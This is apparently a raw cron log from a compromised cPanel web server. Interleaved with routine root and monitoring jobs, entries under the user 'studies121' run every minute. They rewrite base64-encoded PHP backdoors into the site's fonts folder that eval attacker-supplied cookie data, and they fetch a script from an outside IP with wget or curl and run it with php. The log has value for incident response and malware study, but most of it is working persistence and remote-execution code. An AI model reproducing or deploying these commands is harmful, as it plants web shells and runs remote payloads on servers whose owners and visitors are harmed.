Aug 30 20:45:01 ip-184-168-122-23 CROND[7421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:46:01 ip-184-168-122-23 CROND[7519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:46:01 ip-184-168-122-23 CROND[7521]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 20:46:01 ip-184-168-122-23 CROND[7522]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 20:46:01 ip-184-168-122-23 CROND[7523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:46:01 ip-184-168-122-23 CROND[7524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:46:01 ip-184-168-122-23 CROND[7526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:46:01 ip-184-168-122-23 CROND[7525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:47:01 ip-184-168-122-23 CROND[7705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:47:01 ip-184-168-122-23 CROND[7708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:47:01 ip-184-168-122-23 CROND[7707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:47:01 ip-184-168-122-23 CROND[7709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:48:02 ip-184-168-122-23 CROND[7785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:48:02 ip-184-168-122-23 CROND[7791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:48:02 ip-184-168-122-23 CROND[7789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:48:02 ip-184-168-122-23 CROND[7788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:48:02 ip-184-168-122-23 CROND[7790]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:49:01 ip-184-168-122-23 CROND[7874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:49:01 ip-184-168-122-23 CROND[7875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:49:01 ip-184-168-122-23 CROND[7877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:49:01 ip-184-168-122-23 CROND[7876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:50:01 ip-184-168-122-23 CROND[7961]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 20:50:01 ip-184-168-122-23 CROND[7965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:50:01 ip-184-168-122-23 CROND[7966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:50:01 ip-184-168-122-23 CROND[7969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:50:01 ip-184-168-122-23 CROND[7967]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:50:01 ip-184-168-122-23 CROND[7973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:50:01 ip-184-168-122-23 CROND[7972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:50:01 ip-184-168-122-23 CROND[7968]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 20:50:01 ip-184-168-122-23 CROND[7971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:51:01 ip-184-168-122-23 CROND[8092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:51:01 ip-184-168-122-23 CROND[8093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:51:01 ip-184-168-122-23 CROND[8094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:51:01 ip-184-168-122-23 CROND[8095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:52:01 ip-184-168-122-23 CROND[8251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:52:01 ip-184-168-122-23 CROND[8250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:52:01 ip-184-168-122-23 CROND[8254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:52:01 ip-184-168-122-23 CROND[8256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:52:01 ip-184-168-122-23 CROND[8255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:53:01 ip-184-168-122-23 CROND[8341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:53:01 ip-184-168-122-23 CROND[8343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:53:01 ip-184-168-122-23 CROND[8345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:53:01 ip-184-168-122-23 CROND[8344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:54:01 ip-184-168-122-23 CROND[8421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:54:01 ip-184-168-122-23 CROND[8422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:54:01 ip-184-168-122-23 CROND[8425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:54:01 ip-184-168-122-23 CROND[8426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:54:01 ip-184-168-122-23 CROND[8428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:55:01 ip-184-168-122-23 CROND[8508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:55:01 ip-184-168-122-23 CROND[8510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:55:01 ip-184-168-122-23 CROND[8514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:55:01 ip-184-168-122-23 CROND[8513]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:55:01 ip-184-168-122-23 CROND[8511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:55:01 ip-184-168-122-23 CROND[8512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:56:01 ip-184-168-122-23 CROND[8597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:56:01 ip-184-168-122-23 CROND[8599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:56:01 ip-184-168-122-23 CROND[8600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:56:01 ip-184-168-122-23 CROND[8602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:56:01 ip-184-168-122-23 CROND[8601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:57:01 ip-184-168-122-23 CROND[8773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:57:01 ip-184-168-122-23 CROND[8774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:57:01 ip-184-168-122-23 CROND[8776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
